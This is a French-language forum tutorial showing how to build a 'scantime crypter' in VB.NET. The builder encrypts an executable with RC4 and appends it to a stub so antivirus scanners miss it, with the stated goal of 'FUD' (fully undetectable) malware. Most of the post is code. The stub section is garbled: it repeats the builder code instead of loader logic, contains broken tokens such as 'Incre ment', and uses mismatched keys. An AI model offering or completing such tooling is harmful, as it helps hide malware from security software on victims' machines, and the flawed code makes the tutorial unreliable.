Sign in to follow this  
Xenocode

Créez votre crypter SCANTIME en vb.net

11 posts in this topic

Petite notion de vocabulaire :

Stub -> De l'anglais bouchon , C’est le programme incomplet. Celui que vous voulez créer : si c’est un crypter, le stub est le crypter incomplet.

------------------------------------------------------------

 

Alors voilà, je vais vous apprendre à faire un simple crypter scantime. Vous attendez pas a un truc genre FUD alawaneuguèneetbistouflaïe hein, il vous faudra le rendre runetime pour l'améliorer (ou améliorer le code bien entendu)

 

On a besoins de :

  • Visual Basic 2010/2008.
  • 1 Textbox
  • 2 Boutons

 

Le bouton 1 -> "Ouvrir"

Le bouton 2 -> "Crypter"

 

Et vous les placez où vous voulez. (faites un truc avec une jolie GUI tant qu'à faire...)

 

Ensuite suivez les étapes:

 

dans le bouton "Ouvrir" et tout en haut de "Public class form1 vous mettez

 

>Imports System.Text 

 

Puis en dessous de "Public class form1 vous devez mettre :

 

>Const filesplit = "cequevousvoulez" 

 

mais attention le filesplit doit être le même pour le builder/stub.

 

 

Vous double cliquez sur le bouton "Ouvrir" et vous mettez ça :

>
Dim ofd As New OpenFileDialog 'simule une open file dialog
With ofd

.Filter = "Exécutables |*.exe"
'nous indique quel fichier peut être séléctionné ici uniquement les éxecutables
.InitialDirectory = "/VotreDossier"
'le répertoire de départ lorsque la boite de dialogue s'affichera
.Multiselect = False
'séléctionner plusieurs fichiers ? Dans notre cas non laissez sur "False"
If .ShowDialog = Windows.Forms.DialogResult.OK Then
' si on clique sur "OK"

textbox1.Text = .FileName
'la textebox emplacement affiche où ce situe notre fichier à crytper.
Else 'si aucune action ne s'éxécute (exemple : on ne séléctionne pas de fichier)
MsgBox("Vous n'avez pas ouvert de fichier !")
'affiche message

End If
End With 

 

double cliquez sur le boutton "Cypter" et vous mettez ça :

>
Dim filein, filename, stub As String
Dim sfd As New SaveFileDialog
sfd.Filter = "Exécutables |*.exe "
If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then
filename = sfd.FileName
Else : Exit Sub
End If
FileOpen(1, textbox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
filein = Space(LOF(1))
FileGet(1, filein)
FileClose(1)
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & filesplit & RC4(filein, "ici vous mettez votre fliesplit!!"))
FileClose(1)
MsgBox("Le fichier est crypté ! ") 

 

Nous allons placer la fonction RC4 elle doit être placé seul !!

 

Donc à part des autres codes vous faite quelques petits espaces et vous la mettez :

 

>Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
Dim i As Integer = 0
Dim j As Integer = 0
Dim cipher As New StringBuilder
Dim returnCipher As String = String.Empty
Dim sbox As Integer() = New Integer(256) {}
Dim key As Integer() = New Integer(256) {}
Dim intLength As Integer = password.Length
Dim a As Integer = 0
While a <= 255
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
sbox(a) = a
System.Math.Max(System.Threading.Interlocked.Incre ment(a), a - 1)
End While
Dim x As Integer = 0
Dim b As Integer = 0
While b <= 255
x = (x + sbox(b) + key(b)) Mod 256
Dim tempSwap As Integer = sbox(b)
sbox(b) = sbox(x)
sbox(x) = tempSwap
System.Math.Max(System.Threading.Interlocked.Incre ment(b), b - 1)
End While
a = 1
While a <= message.Length
Dim itmp As Integer = 0
i = (i + 1) Mod 256
j = (j + sbox(i)) Mod 256
itmp = sbox(i)
sbox(i) = sbox(j)
sbox(j) = itmp
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
itmp = Asc(ctmp)
Dim cipherby As Integer = itmp Xor k
cipher.Append(Chr(cipherby))
System.Math.Max(System.Threading.Interlocked.Incre ment(a), a - 1)
End While
returnCipher = cipher.ToString
cipher.Length = 0
Return returnCipher
End Function
End Class 

 

 

Maintenant le stub,

 

vous ouvrez un nouveau projet, vous ne mettez rien, aucune textbox,boutton vous laissez vide.

 

Vous double cliquez sur la form et vous arrivez sur la page ou nous allons taper notre code.

On met:

 

>Imports System.Text
Public Class Form1
Const filesplit = "Ici"

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim ofd As New OpenFileDialog 'simule une open file dialog
With ofd

.Filter = "Exécutables |*.exe"
'nous indique quel fichier peut être séléctionné ici uniquement les éxecutables
.InitialDirectory = "/VotreDossier"
'le répertoire de départ lorsque la boite de dialogue s'affichera
.Multiselect = False
'séléctionner plusieurs fichiers ? Dans notre cas non laissez sur "False"
If .ShowDialog = Windows.Forms.DialogResult.OK Then
' si on clique sur "OK"

TextBox1.Text = .FileName
'la textebox emplacement affiche où ce situe notre fichier à crytper.
Else 'si aucune action ne s'éxécute (exemple : on ne séléctionne pas de fichier)
MsgBox("Vous n'avez pas ouvert de fichier !")
'affiche message

End If
End With
End Sub

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
Dim filein, filename, stub As String
Dim sfd As New SaveFileDialog
sfd.Filter = "Exécutables |*.exe "
If sfd.ShowDialog = Windows.Forms.DialogResult.OK Then
filename = sfd.FileName
Else : Exit Sub
End If
FileOpen(1, TextBox1.Text, OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
filein = Space(LOF(1))
FileGet(1, filein)
FileClose(1)
FileOpen(1, Application.StartupPath & "\Stub.exe", OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
FileOpen(1, filename, OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & filesplit & rc4(filein, "Ici"))
FileClose(1)
MsgBox("Le fichier est crypté ! ")

End Sub

Public Shared Function rc4(ByVal message As String, ByVal password As String) As String
Dim i As Integer = 0
Dim j As Integer = 0
Dim cipher As New StringBuilder
Dim returnCipher As String = String.Empty
Dim sbox As Integer() = New Integer(256) {}
Dim key As Integer() = New Integer(256) {}
Dim intLength As Integer = password.Length
Dim a As Integer = 0
While a <= 255
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
sbox(a) = a
System.Math.Max(System.Threading.Interlocked.Incre ment(a), a - 1)
End While
Dim x As Integer = 0
Dim b As Integer = 0
While b <= 255
x = (x + sbox(b) + key(b)) Mod 256
Dim tempSwap As Integer = sbox(b)
sbox(b) = sbox(x)
sbox(x) = tempSwap
System.Math.Max(System.Threading.Interlocked.Incre ment(b), b - 1)
End While
a = 1
While a <= message.Length
Dim itmp As Integer = 0
i = (i + 1) Mod 256
j = (j + sbox(i)) Mod 256
itmp = sbox(i)
sbox(i) = sbox(j)
sbox(j) = itmp
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
itmp = Asc(ctmp)
Dim cipherby As Integer = itmp Xor k
cipher.Append(Chr(cipherby))
System.Math.Max(System.Threading.Interlocked.Incre ment(a), a - 1)
End While
returnCipher = cipher.ToString
cipher.Length = 0
Return returnCipher
End Function
End Class  

 

 

 

Et voilà !

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this